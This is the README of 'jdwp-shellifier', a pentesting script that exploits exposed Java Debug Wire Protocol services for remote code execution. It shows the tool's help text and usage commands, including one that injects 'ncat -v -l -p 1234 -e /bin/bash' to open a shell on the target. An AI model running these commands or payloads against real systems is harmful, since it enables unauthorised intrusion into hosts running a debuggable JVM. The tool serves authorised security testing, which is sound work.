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JDWP exploitation script

What is it ?

This exploitation script is meant to be used by pentesters against active JDWP service, in order to gain Remote Code Execution.

How does it work ?

Well, in a pretty standard way, the script only requires a Python 2 interpreter:

% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
                      [--cmd COMMAND]

Universal exploitation script for JDWP by @hugsy

optional arguments: -h, --help show this help message and exit -t IP, --target IP Remote target IP (default: None) -p PORT, --port PORT Remote target port (default: 8000) --break-on JAVA_METHOD Specify full path to method to break on (default: java.net.ServerSocket.accept) --cmd COMMAND Specify full path to method to break on (default: None)

To target a specific host/port:

$ python ./jdwp-shellifier.py -t my.target.ip -p 1234

This command will only inject Java code on the JVM and show some info like Operating System, Java version. Since it does not execute external code/binary, it is totally safe and can be used as Proof-Of-Concept

$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

This command will actually execute the process

with the specified argument with the rights given to the running JVM.

Before sending questions, make sure to read http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html for full understanding of the JDWP protocol.


  • Ilja Van Sprundel
  • Sebastien Macke

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